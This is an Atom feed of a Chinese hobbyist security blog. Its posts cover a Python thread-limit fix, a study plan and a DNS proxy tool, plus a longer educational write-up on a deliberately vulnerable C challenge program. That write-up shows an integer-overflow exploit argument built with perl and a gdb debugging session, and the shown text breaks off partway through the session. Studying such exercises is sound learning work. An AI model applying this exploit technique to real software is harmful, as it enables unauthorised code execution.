<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;CEMERHk-fCp7ImA9WhRaFks.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341</id><updated>2012-02-19T06:40:05.754-08:00</updated><category term="vul" /><category term="python" /><category term="security" /><title>清风阁</title><subtitle type="html">业余安全爱好者</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://www.6code.net/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://www.6code.net/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>138</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/6code/oHdh" /><feedburner:info uri="6code/ohdh" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;CEMERHk9fip7ImA9WhRaFks.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-6955689076608341479</id><published>2012-02-19T06:37:00.000-08:00</published><updated>2012-02-19T06:40:05.766-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-02-19T06:40:05.766-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="python" /><title>ubuntu Python 线程数限制问题</title><content type="html">ubuntu 下发现python 线程数限制比较奇怪，100 多就报线程创建错误了。以前也有听到这种现象没有在意，这次自己也遇上了，跟了一下。&lt;br /&gt;
&lt;br /&gt;
和线程堆栈大小有关系，使用ulimit -a 可以看到所有参数。ulimit -s 512， 重新启动程序搞定。C 中没有此问题，记录一下。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-6955689076608341479?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/r1H8GhtopI22gmHgrhe5uXZzmtk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/r1H8GhtopI22gmHgrhe5uXZzmtk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/r1H8GhtopI22gmHgrhe5uXZzmtk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/r1H8GhtopI22gmHgrhe5uXZzmtk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/ejR6xcJ4jG0" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=6955689076608341479" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/6955689076608341479?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/6955689076608341479?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/ejR6xcJ4jG0/python.html" title="ubuntu Python 线程数限制问题" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2012/02/python.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkADQXs-cCp7ImA9WhRVE04.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-4914778737932867278</id><published>2012-01-11T17:12:00.000-08:00</published><updated>2012-01-11T17:12:50.558-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-11T17:12:50.558-08:00</app:edited><title>2012年 计划</title><content type="html">1. 加强基础知识学习 （操作系统，算法，数据结构）&lt;br /&gt;
2. 加强英语学习&lt;br /&gt;
3. 加强逆向调试能力&lt;br /&gt;
4. 加强网络安全学习 &amp;nbsp; （漏洞挖掘，漏洞利用）&lt;br /&gt;
5. 结合理论，形成有效框架和工具&lt;br /&gt;
6. 读几本好书&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-4914778737932867278?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Yj6jkdaqMDJIYWlnrR3euLABSBk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Yj6jkdaqMDJIYWlnrR3euLABSBk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Yj6jkdaqMDJIYWlnrR3euLABSBk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Yj6jkdaqMDJIYWlnrR3euLABSBk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/5cE8M4E-zns" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=4914778737932867278" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/4914778737932867278?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/4914778737932867278?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/5cE8M4E-zns/2012.html" title="2012年 计划" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2012/01/2012.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU4GRXw_eSp7ImA9WhRSEUw.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-7170756191957507062</id><published>2011-10-12T01:54:00.000-07:00</published><updated>2011-11-12T08:05:24.241-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-12T08:05:24.241-08:00</app:edited><title>tcpdns.py</title><content type="html">&lt;br /&gt;
用python写了个小程序解决Linux下DNS 问题，&lt;br /&gt;
程序原理: 监听127.0.0.1 53 端口，将udp dns请求&lt;br /&gt;
报文改为tcp dns 报文向远程DNS服务器发送。&lt;br /&gt;
使用方法将/etc/resolv.conf 的配置改为&lt;br /&gt;
nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href="https://github.com/henices/Tcp-DNS-proxy"&gt;https://github.com/henices/Tcp-DNS-proxy&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1035648170314676341-7170756191957507062?l=www.6code.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/GUMP2AbziDAXFIHi5WQciA6fUt4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GUMP2AbziDAXFIHi5WQciA6fUt4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/GUMP2AbziDAXFIHi5WQciA6fUt4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GUMP2AbziDAXFIHi5WQciA6fUt4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/6code/oHdh/~4/ke17XwiScg4" height="1" width="1"/&gt;</content><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1035648170314676341&amp;postID=7170756191957507062" title="0 条评论" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7170756191957507062?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1035648170314676341/posts/default/7170756191957507062?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/6code/oHdh/~3/ke17XwiScg4/tcpdnspy.html" title="tcpdns.py" /><author><name>zhen zhou</name><uri>https://profiles.google.com/106042020035627038044</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh6.googleusercontent.com/-nDr6NtOVeos/AAAAAAAAAAI/AAAAAAAAAxU/ApwqBJpQssQ/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.6code.net/2011/10/tcpdnspy.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU4ARns-eCp7ImA9WhdVFko.&quot;"><id>tag:blogger.com,1999:blog-1035648170314676341.post-5400936865928971688</id><published>2011-09-20T22:14:00.001-07:00</published><updated>2011-09-22T00:52:27.550-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-09-22T00:52:27.550-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="vul" /><title>简单整型溢出分析</title><content type="html">&lt;br /&gt;
源代码 interger.c&lt;br /&gt;
------------------------------------------------------------------------------&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
int main(int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int count = atoi(argv[1]);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; int buf[10];&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(count &amp;gt;= 10 )&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 1;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; memcpy(buf, argv[2], count * sizeof(int));&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if(count == 0x574f4c46) {&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf("WIN!\n");&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; execl("/bin/sh", "sh" ,NULL);&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; } else&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; printf("Not today son\n");&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 0;&lt;br /&gt;
}&lt;br /&gt;
------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
如果count &amp;gt;= 10, 则程序退出，想要执行到下面的语句，我们必须给count赋值一个负数&lt;br /&gt;
关键是计算count*sizeof(int)的值, sizeof(int)在intel 32 位的机器上因该是一个机器&lt;br /&gt;
字长为4.我们构造一个负数值给count，其二进制补码如下：&lt;br /&gt;
1000 0000 0000 0000 0000 0000 0001 0000&lt;br /&gt;
对应的十进制数值为：-2147483632&lt;br /&gt;
这样count * sizeof(int)的值如下（即上面的值左移2位）：&lt;br /&gt;
0000 0000 0000 0000 0000 0000 0100 0000&lt;br /&gt;
&lt;br /&gt;
则count * sizeof(int) = 64&lt;br /&gt;
&lt;br /&gt;
这个整形溢出其实是buf的内存空间覆盖到了count的内存地址&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
使用gcc编译 gcc -o q9 -g interger.c, 用gdb调试&lt;br /&gt;
&amp;gt; gdb q9&lt;br /&gt;
&lt;br /&gt;
用disassemble 查看反汇编代码&lt;br /&gt;
&lt;br /&gt;
------------------------------------------------------------------------------&lt;br /&gt;
(gdb) disassemble main&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048444 &amp;lt;+0&amp;gt;: push &amp;nbsp; %ebp&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048445 &amp;lt;+1&amp;gt;: mov &amp;nbsp; &amp;nbsp;%esp,%ebp&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048447 &amp;lt;+3&amp;gt;: and &amp;nbsp; &amp;nbsp;$0xfffffff0,%esp&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x0804844a &amp;lt;+6&amp;gt;: sub &amp;nbsp; &amp;nbsp;$0x40,%esp&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x0804844d &amp;lt;+9&amp;gt;: mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048450 &amp;lt;+12&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x4,%eax&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048453 &amp;lt;+15&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;(%eax),%eax&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048455 &amp;lt;+17&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;%eax,(%esp)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048458 &amp;lt;+20&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048370 &amp;lt;atoi@plt&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x0804845d &amp;lt;+25&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;%eax,0x3c(%esp)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048461 &amp;lt;+29&amp;gt;: &amp;nbsp; &amp;nbsp;cmpl &amp;nbsp; $0x9,0x3c(%esp)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048466 &amp;lt;+34&amp;gt;: &amp;nbsp; &amp;nbsp;jle &amp;nbsp; &amp;nbsp;0x804846f &amp;lt;main+43&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048468 &amp;lt;+36&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;$0x1,%eax&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x0804846d &amp;lt;+41&amp;gt;: &amp;nbsp; &amp;nbsp;jmp &amp;nbsp; &amp;nbsp;0x80484db &amp;lt;main+151&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x0804846f &amp;lt;+43&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;0x3c(%esp),%eax&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048473 &amp;lt;+47&amp;gt;: &amp;nbsp; &amp;nbsp;lea &amp;nbsp; &amp;nbsp;0x0(,%eax,4),%edx&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x0804847a &amp;lt;+54&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;0xc(%ebp),%eax&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x0804847d &amp;lt;+57&amp;gt;: &amp;nbsp; &amp;nbsp;add &amp;nbsp; &amp;nbsp;$0x8,%eax&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048480 &amp;lt;+60&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;(%eax),%eax&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048482 &amp;lt;+62&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;%edx,0x8(%esp)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048486 &amp;lt;+66&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;%eax,0x4(%esp)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x0804848a &amp;lt;+70&amp;gt;: &amp;nbsp; &amp;nbsp;lea &amp;nbsp; &amp;nbsp;0x14(%esp),%eax&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x0804848e &amp;lt;+74&amp;gt;: &amp;nbsp; &amp;nbsp;mov &amp;nbsp; &amp;nbsp;%eax,(%esp)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048491 &amp;lt;+77&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048360 &amp;lt;memcpy@plt&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x08048496 &amp;lt;+82&amp;gt;: &amp;nbsp; &amp;nbsp;cmpl &amp;nbsp; $0x574f4c46,0x3c(%esp)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x0804849e &amp;lt;+90&amp;gt;: &amp;nbsp; &amp;nbsp;jne &amp;nbsp; &amp;nbsp;0x80484ca &amp;lt;main+134&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x080484a0 &amp;lt;+92&amp;gt;: &amp;nbsp; &amp;nbsp;movl &amp;nbsp; $0x80485a0,(%esp)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x080484a7 &amp;lt;+99&amp;gt;: &amp;nbsp; &amp;nbsp;call &amp;nbsp; 0x8048380 &amp;lt;puts@plt&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x080484ac &amp;lt;+104&amp;gt;: &amp;nbsp; movl &amp;nbsp; $0x0,0x8(%esp)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x080484b4 &amp;lt;+112&amp;gt;: &amp;nbsp; movl &amp;nbsp; $0x80485a5,0x4(%esp)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x080484bc &amp;lt;+120&amp;gt;: &amp;nbsp; movl &amp;nbsp; $0x80485a8,(%esp)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x080484c3 &amp;lt;+127&amp;gt;: &amp;nbsp; call &amp;nbsp; 0x8048350 &amp;lt;execl@plt&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x080484c8 &amp;lt;+132&amp;gt;: &amp;nbsp; jmp &amp;nbsp; &amp;nbsp;0x80484d6 &amp;lt;main+146&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x080484ca &amp;lt;+134&amp;gt;: &amp;nbsp; movl &amp;nbsp; $0x80485b0,(%esp)&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x080484d1 &amp;lt;+141&amp;gt;: &amp;nbsp; call &amp;nbsp; 0x8048380 &amp;lt;puts@plt&amp;gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x080484d6 &amp;lt;+146&amp;gt;: &amp;nbsp; mov &amp;nbsp; &amp;nbsp;$0x0,%eax&lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x080484db &amp;lt;+151&amp;gt;: &amp;nbsp; leave &lt;br /&gt;
&amp;nbsp; &amp;nbsp;0x080484dc &amp;lt;+152&amp;gt;: &amp;nbsp; ret &amp;nbsp; &lt;br /&gt;
End of assembler dump.&lt;br /&gt;
------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
在0x08048496处设置断点， br *0x08048496 （cmpl &amp;nbsp; $0x574f4c46,0x3c(%esp)）&lt;br /&gt;
------------------------------------------------------------------------------&lt;br /&gt;
(gdb) br * 0x08048496&lt;br /&gt;
Breakpoint 1 at 0x8048496: file integer.c, line 33.&lt;br /&gt;
------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
使用run命令，运行程序查看栈&lt;br /&gt;
------------------------------------------------------------------------------&lt;br /&gt;
(gdb) run -2147483632 $(perl -e 'print "A"x40 . "\x46\x4c\x4f\x57"')&lt;br /&gt;
Starting program: /home/zhouzhen/CTD/test/q9 -2147483632 $(perl -e 'print "A"x40&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; . "\x46\x4c\x4f\x57"')&lt;br /&gt;
&lt;br /&gt;
Breakpoint 1, main (argc=3619120, argv=0xbffff1c4) at integer.c:33&lt;br /&gt;
33 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if(count == 0x574f4c46) {&lt;br /&gt;
(gdb)&lt;br /&gt;
------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
查看栈, 这时候可以发现 count 即0x3c(%esp) 的值为0x574f4c46， 内存地址为0xbffff10c&lt;br /&gt;
-----------------------------------------------------------------------------&lt;br /&gt;
(gdb) x/4wx $esp+0x3c&lt;br /&gt;
0xbffff10c: 0x574f4c46 &amp;nbsp;0x48535300 &amp;nbsp;0x4547415f &amp;nbsp;0x505f544e&lt;br /&gt;
(gdb)&lt;br /&gt;
-----------------------------------------------------------------------------&lt;br /&gt;
已经成功达到了我们想到的地方。&lt;br /&gt;
&lt;br /&gt;
参看栈分布情况&lt;br /&gt;
------------------------------------------------------------------------------&lt;br /&gt;
Breakpoint 1, main (argc=3619120, argv=0xbffff1c4) at integer.c:33&lt;br /&gt;
33&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if(count == 0x574f4c46) {&lt;br /&gt;
(gdb)&lt;br /&gt;
(gdb)&lt;br /&gt;
(gdb) p $esp&lt;br /&gt;
$1 = (void *) 0xbffff0d0&lt;br /&gt;
(gdb) x/50wx 0xbffff0d0&lt;br /&gt;
0xbffff0d0:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0xbffff0e4&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0xbffff3a0&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00000040&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x0804831c&lt;br /&gt;
0xbffff0e0:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x0028bff4&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x41414141&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x41414141&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x41414141&lt;br /&gt;
0xbffff0f0:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x41414141&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x41414141&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x41414141&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x41414141&lt;br /&gt;
0xbffff100:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x41414141&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x41414141&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x41414141&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x574f4c46&lt;br /&gt;
0xbffff110:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x48535300&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x4547415f&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x505f544e&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x323d4449&lt;br /&gt;
0xbffff120:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00373930&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0xbffff1c4&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0xbffff1d4&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x0012e414&lt;br /&gt;
0xbffff130:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0xffffffff&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x0012cff4&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x0804826c&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00000001&lt;br /&gt;
0xbffff140:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0xbffff180&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x0011da31&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x0012dad0&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0xb7fffc40&lt;br /&gt;
0xbffff150:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00000001&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x0028bff4&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00000000&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00000000&lt;br /&gt;
0xbffff160:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0xbffff198&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0xc0563fde&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x170f86a1&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00000000&lt;br /&gt;
0xbffff170:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00000000&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00000000&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00000003&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x08048390&lt;br /&gt;
0xbffff180:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00000000&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00123c40&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00145d5b&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x0012cff4&lt;br /&gt;
0xbffff190:&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x00000003&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;0x08048390&lt;br /&gt;
(gdb) bt&lt;br /&gt;
#0 &amp;nbsp;main (argc=3619120, argv=0xbffff1c4) at integer.c:33&lt;br /&gt;
(gdb) print 0xbffff0d0+0x3c&lt;br /&gt;
$2 = 3221221644&lt;br /&gt;
(gdb) br *0x08048491 （call &amp;nbsp; 0x8048360 &amp;lt;memcpy@plt&amp;gt;）&lt;br /&gt;
Breakpoint 3 at 0x8048491: file integer.c, line 31.&lt;br /&gt;
(gdb) info br&lt;br /&gt;
Num &amp;nbsp; &amp;nbsp; Type &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Disp Enb Address &amp;nbsp; &amp;nbsp;What&lt;br /&gt;
1 &amp;nbsp; &amp;nbsp; &amp;nbsp; breakpoint &amp;nbsp; &amp;nbsp; keep y &amp;nbsp; 0x08048496 in main at integer.c:33&lt;br /&gt;
